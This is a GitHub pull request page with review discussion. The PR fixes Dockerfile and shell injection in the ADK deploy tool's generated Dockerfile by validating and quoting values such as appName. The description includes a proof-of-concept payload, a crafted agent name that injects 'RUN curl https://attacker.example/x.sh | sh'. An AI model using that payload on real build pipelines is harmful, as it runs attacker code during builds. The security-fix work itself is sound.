Skip to content

fix(deploy): reject unsafe appName/project/region in generated Dockerfile - #604

Open
herdiyana256 wants to merge 3 commits into
google:mainfrom
herdiyana256:fix/dockerfile-injection-via-unescaped-deploy-values
Open

fix(deploy): reject unsafe appName/project/region in generated Dockerfile#604
herdiyana256 wants to merge 3 commits into
google:mainfrom
herdiyana256:fix/dockerfile-injection-via-unescaped-deploy-values

Conversation

@herdiyana256

Copy link
Copy Markdown
Contributor

createDockerFileContent (dev/src/cli/deploy/deploy_utils.ts, shared by both adk deploy cloud_run and adk deploy agent_engine) interpolates options.appName, options.project, and options.region directly into the generated Dockerfile's ENV, COPY, and CMD instructions with no escaping.

Dockerfile instructions are newline-delimited, and the generated CMD line runs through /bin/sh -c at container start, so a value containing a newline or shell metacharacters breaks out of its instruction. appName is derived by default from the basename of the agent path passed to the deploy command (path.parse(agentPath).name / path.basename(agentPath)), only overridden by an explicit --app_name flag — so a maliciously-named agent directory or file (e.g. from a shared or cloned agent template a developer did not author themselves) injects arbitrary Dockerfile instructions executed during docker build, and/or arbitrary shell commands into the deployed container's CMD.

Confirmed by executing createDockerFileContent directly: an appName of x"\nRUN curl https://attacker.example/x.sh | sh\n# produced a Dockerfile containing that RUN as its own standalone instruction.

COPY --chown=myuser:myuser "agents/myagent"
RUN curl -s https://attacker.example/x.sh | sh
#/" "/app/agents/myagent"
...

Fix: add assertSafeDockerfileToken, restricting appName/project/region to a plain identifier (letters, digits, dot, dash, underscore) before they're embedded in the Dockerfile content, applied once at the top of the shared createDockerFileContent so both deploy commands are covered by a single check. Existing valid values (project IDs, regions, agent names) are unaffected. Adds regression tests for the injection attempt and for values using dots/dashes/underscores.

…file

createDockerFileContent interpolated options.appName, options.project, and
options.region directly into the generated Dockerfile's ENV, COPY, and CMD
instructions with no escaping. Since Dockerfile instructions are newline-
delimited and the CMD line runs through /bin/sh at container start, a value
containing a newline or shell metacharacters breaks out of its instruction:
appName is derived by default from the basename of the agent path passed to
`adk deploy cloud_run`/`adk deploy agent_engine` (only overridden by an
explicit --app_name), so a maliciously-named agent directory or file — e.g.
from a shared/cloned agent template a developer didn't author themselves —
injects arbitrary Dockerfile instructions executed during `docker build`
and/or arbitrary shell commands in the deployed container's CMD.

Add assertSafeDockerfileToken, restricting these three values to a plain
identifier (letters, digits, dot, dash, underscore) before they're ever
embedded in the Dockerfile content, applied once in the shared
createDockerFileContent so both deploy commands are covered. Confirmed by
executing the function directly: a crafted appName previously produced a
Dockerfile with a standalone injected RUN instruction; it's now rejected
before any file is written.

@AmaadMartin AmaadMartin left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fix is in the right place: createDockerFile is the only Dockerfile generator in the repo and both deploy paths (cli_deploy_cloud_run.ts:200, cli_deploy_agent_engine.ts:99) go through it, so one check covers both, and no existing test passes a value the regex rejects.

One correction to the description, which makes your threat model stronger: there is no --app_name flag anywhere in the CLI, and cli_deploy_cloud_run.ts:177 reads options.appName || isFileProvided ? … : …|| binds before ?:, so even if the flag existed it would be discarded. appName is always the agent path's basename, i.e. always the untrusted value.

Comments below on what the same template still interpolates unchecked.

Comment thread dev/src/cli/deploy/deploy_utils.ts
Comment thread dev/src/cli/deploy/deploy_utils.ts Outdated
Comment thread dev/test/cli/cli_deploy_cloud_run_test.ts Outdated
…gins/*ServiceUri

logLevel, allowOrigins, sessionServiceUri and artifactServiceUri were still
interpolated raw into the generated Dockerfile's CMD line, so a newline in
any of them broke out of that instruction the same way appName did, and
shell metacharacters reached /bin/sh at container start. These values are
free-form (URIs, comma-separated lists) so they can't be restricted to the
plain-identifier token used for appName/project/region; instead reject
embedded newlines and single-quote-escape them for the shell.

Also: error messages now JSON.stringify the rejected value instead of
interpolating it raw, and the region rejection test now uses a newline
payload since region only reaches the ENV line, not the shell-interpreted
CMD line.
@herdiyana256

Copy link
Copy Markdown
Contributor Author

Addressed in e283fd0:

  • logLevel, allowOrigins, sessionServiceUri, artifactServiceUri now reject embedded newlines (they can't use the plain-identifier regex since they're free-form: URIs, comma-separated lists) and are single-quote-escaped before being appended to the CMD line, closing both the Dockerfile-instruction-breakout and the /bin/sh metacharacter vector.
  • Error messages now JSON.stringify the rejected value instead of interpolating it raw.
  • The region rejection test now uses a newline payload — region only reaches the ENV GOOGLE_CLOUD_LOCATION= line, not the shell-interpreted CMD line, so the ;-based payload wasn't actually testing what it claimed to.

Added tests covering newline rejection and shell-quoting (including embedded-quote escaping) for all four values.

Per review: the "should still accept dots/dashes/underscores" case only
asserted appName made it into the Dockerfile, not project.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants